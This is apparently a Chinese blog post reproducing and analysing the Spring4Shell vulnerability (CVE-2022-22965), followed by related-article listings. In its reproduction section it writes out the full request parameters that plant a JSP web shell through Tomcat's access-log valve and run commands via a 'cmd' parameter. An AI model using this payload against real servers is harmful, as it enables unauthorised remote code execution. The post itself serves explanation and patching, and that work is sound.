Spring Framework爆出远程代码执行漏洞

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965) 3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942)。攻击者利用漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。 漏洞影响: JDK9+ 使用了 Spring 框架或衍生框架 Apache Tomcat 作为 Servlet 容器 spring-webmvc 或 spring-webflux 依赖 Spring Framework 版本 5.3.0.. 阅读详情

Spring Framework 爆出远程代码执行漏洞!

这个漏洞(CVE-2022-22965)是在2022年3月31日,Spring官网发布的,离现在已经一个多月了,可能还有很多开发者没有了解过。如果在JDK9环境下,攻击者可以通过利用SpringMVC的参数绑定功能,实现对目标程序写入恶意代码来达到入侵的目的。

漏洞触发条件

  1. 使用jdk9+版本
  2. 使用Spring-webmvc并且使用了参数绑定功能(一般使用了spring-webmvc肯定用到了参数绑定)
  3. 使用war包部署在servlet 容器中如apache tomcat

漏洞复现

这个漏洞触发原因之一就是spring的参数绑定功能,对于企业级java开发程序员来说,spring的参数绑定再熟悉不过了。参数绑定使用在controller方法参数上,参数绑定功能被用来解析http请求参数(查询参数或表单数据)进而填充到对象中。接下来我们通过一个例子来复现这个漏洞

@RestController
public class DemoController {


    @GetMapping("/test")
    public String test(User user) {
        return "hello "+user.getUsername();
    }
}

public class User {

    private String username;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }
}

正常情况下当我设置正常参数,请求/test时会返回你想要的结果。但是如果你请求的表单是以下的参数就要小心了。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这几个参数的意思是通过利用spring的参数绑定解析,生成可远程执行代码的jsp文件。
只要你请求了/test,并且接下来请求/test.jsp?pwd=j&cmd=xxxxx 那么你就中招了,cmd参数中可以传任何攻击者想执行的代码。

漏洞分析

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp参数为例,当spring进行参数绑定时,会以"."为分隔符按照引用链递归解析,解析到最后一个引用suffix时就可以注入.jsp参数到tomcat的AccessLogValve对象属性中。而这个AccessLogValve可以通过这些属性动态输出日志,而这些日志如果是个可执行脚本被放到了webapp/ROOT目录下,攻击者就可以远程执行了,整个解析过程就不贴源代码了,这里贴出来参数解析过程:

User.getClass()
  java.lang.Class.getModule()
   java.lang.Module.getClassLoader()
    org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
      org.apache.catalina.webresources.StandardRoot.getContext()
        org.apache.catalina.core.StandardContext.getParent()
           org.apache.catalina.core.StandardHost.getPipeline()
             org.apache.catalina.core.StandardPipeline.getFirst()
               org.apache.catalina.valves.AccessLogValve.setSuffix()
                          	

虽然这个漏洞极其致命,但是目前微服务的流行和springboot内嵌web容器的便利性,已经很少有人使用war运行在tomcat容器中了,所以漏洞的影响有限。但是如果你使用jdk9+,并且你的web系统部署在tomcat容器中,最好将你的tomcat版本升级到9.0.62

参考

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Spring框架远程命令执行漏洞复现 Spring框架远程命令执行漏洞docker环境复现 记录篇~ 阅读详情

相关推荐

Spring Boot安全攻防:从Actuator端点利用到反序列化漏洞实战解析

在微服务架构中,应用监控与管理是保障系统稳定性的关键环节,其核心原理是通过暴露特定的HTTP端点来实现健康检查、性能指标收集和运行时配置管理。Spring Boot Actuator模块正是这一理念的典型实现,它通过自动化配置极大地简化了监控功能的集成。然而,这种“约定大于配置”的便利性若缺乏安全管控,会引发严重的技术风险,例如敏感信息泄露和远程代码执行。在工程实践中,**Actuator端点暴露**和**反序列化漏洞**成为高频出现的安全敞口,攻击者利用未授权访问的/env端点获取数据库凭证等配置信息,

weixin_30608503的博客 318

Spring Framework 远程命令执行漏洞CVE-2022-22965

简介 Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。 Spring 0day漏洞 影响范围 JDK9 <= Spring Cloud Function JDK9及其以上版本; 使⽤了Spring-bean

qq_32445755的博客 649

红队实战:从RCE漏洞筛选到武器化的完整攻防指南

远程代码执行(RCE)作为网络安全领域的高危漏洞类型,其核心原理在于攻击者能够通过特定输入在目标系统上执行任意命令。理解RCE的底层机制,例如命令注入、反序列化或表达式语言滥用,是评估漏洞危害和构建防御体系的基础。从技术价值看,RCE漏洞直接影响系统的机密性、完整性和可用性,是攻防演练中的关键突破点。在实际应用场景中,RCE常出现在Web应用框架、中间件及广泛使用的开源组件中,例如Spring Framework、Log4j2等。本文聚焦于如何基于公开的PoC(概念验证),高效筛选具有实战价值的RCE漏洞

weixin_34161029的博客 402

Spring Framework远程代码执行漏洞

2022年3月30日,国家信息安全漏洞共享平台(CNVD)发布了Spring框架远程命令执行漏洞攻击者利用漏洞,可在未授权的情况下远程执行命令。目前,此漏洞POC、技术细节及EXP已大范围公开,此漏洞影响范围极大。目前Spring官方已发布补丁修复该漏洞,强烈建议Spring框架用户立即更新至最新版本。

m0_71745903的博客 939

【干货】Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考

上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。

qq_53058639的博客 1951

Spring爆出“核弹”级高危漏洞-复现

文末 3月29日,Spring框架曝出RCE 0day漏洞。已经证实由于 SerializationUtils#deserialize 基于Java的序列化机制,可导致远程代码执行(RCE),使用JDK9及以上版本皆有可能受到影响 文章目录导读事件回顾临时方案1:WAF临时策略临时方案2:临时缓解措施细数Spring漏洞危机的启示复现 参考: netsecurity.51cto.com/article/705255.html 导读 昨晚,又一枚重磅炸弹在技术圈里引爆,不,这次不是Log4j,而是Spr

JavaPub 7788

Apache Struts 和 Spring 开源漏洞状况的对比

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士全球的开发人员都依赖多种框架如 Apache Struts 和 Spring 来构建有价值且强大的应用程序。这些庞大的开源项目是组...

smellycat000的专栏 500

主流开发框架安全漏洞深度解析与实战防御指南

在软件开发领域,开发框架安全是保障应用稳定运行的基石。其核心原理在于,框架通过封装通用功能提升开发效率,但默认配置或设计缺陷可能引入攻击面。理解框架安全机制的技术价值在于,能主动规避因配置不当或组件漏洞导致的数据泄露、服务中断等风险。常见的应用场景包括Web应用、微服务架构及企业级系统。本文聚焦于ThinkPHP、Laravel、SpringBoot等主流框架,通过复现远程代码执行(RCE)和配置泄露等典型漏洞,深入剖析其成因与利用方式,并提供从环境搭建到企业级加固的完整解决方案,帮助开发者构建安全防线。

anjueci1221的博客 446

Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考

前言 上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。 1►前置知识 1.1 SpringMVC参数绑定 为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大

jidunkeji的博客 5013

Spring4shell远程命令执行(CVE-2022-22965)

Spring4shell远程命令执行(CVE-2022-22965

m0_58596609的博客 2887

Spring Framework远程代码执行漏洞(CVE-2022-22965)

Spring Framework远程代码执行漏洞(CVE-2022-22965)

qq_50854662的博客 1418

Spring Framework远程代码执行漏洞(CVE-2022-22965)

1.漏洞描述 由于Spring处理流程存在缺陷,在JDK9及以上版本的Spring框架环境中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值,触发pipeline机制,从而在任意路径下写入文件。远程攻击者利用漏洞写入恶意代码导致远程代码执行。 2.影响版本 JDK >= 9 & 5.3.X < Spring Framework < 5.3.18 JDK >= 9 & 5.2.X ...

chaojixiaojingang 1万+

(CVE-2022-22965)Spring Framework 远程命令执行漏洞(vulfocus复现)

漏洞SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。

qq_40646572的博客 1176

Spring Framework远程代码执行漏洞_CVE-2022-22965复现

1. 漏洞介绍 Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当Spring部署在JDK9及以上版本,远程攻击者利用漏洞写入恶意代码导致远程代码执行。 2、受影响版本 Spring Core <= 5.2.19, <= 5.3.17 Spring Boot <= 2.6.5 3、利用前提 JDK 9 及以上版本 Spring框架的5.3.0

beichenyyds的博客 4273

春秋云镜 :CVE-2022-22965(Spring Framework JDK >= 9 远程代码执行漏洞

靶标介绍:Spring frameworkSpring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

m0_65712192的博客 1574

SpringBoot项目中 Spring Framework远程代码执行漏洞的处理方案

公司最近要求对所有项目进行漏洞检测修复,其中有一项漏洞名称为Spring Framework远程代码执行漏洞(CVE-2022-22965)需要升级Spring Framework版本解决,如图高危修复建议将Spring Framework升级至安全版本 ,即升级5.2.20及以上版本 或 5.3.18及以上版本,具体官方修复的5.2和5.3版本可以查找。

Micro麦可乐的博客 1万+
上一篇: 如何在Spring环境中进行单元测试
lance小码匠
博客等级 码龄12年 27粉丝 · 82原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值